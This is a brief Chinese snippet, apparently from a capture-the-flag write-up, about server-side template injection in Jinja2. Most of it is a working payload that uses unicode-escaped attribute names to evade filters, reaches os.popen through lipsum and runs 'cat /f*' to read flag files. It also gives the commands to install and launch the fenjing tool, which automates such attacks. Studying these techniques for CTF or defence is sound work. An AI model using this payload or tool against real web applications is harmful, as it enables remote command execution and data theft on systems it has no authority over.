一把梭

其他师傅的payload，挺多情况可以用的
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

或者用feijing

pip install fenjing 安装

可以直接输入python -m fenjing webui
启动webui，指定参数并自动攻击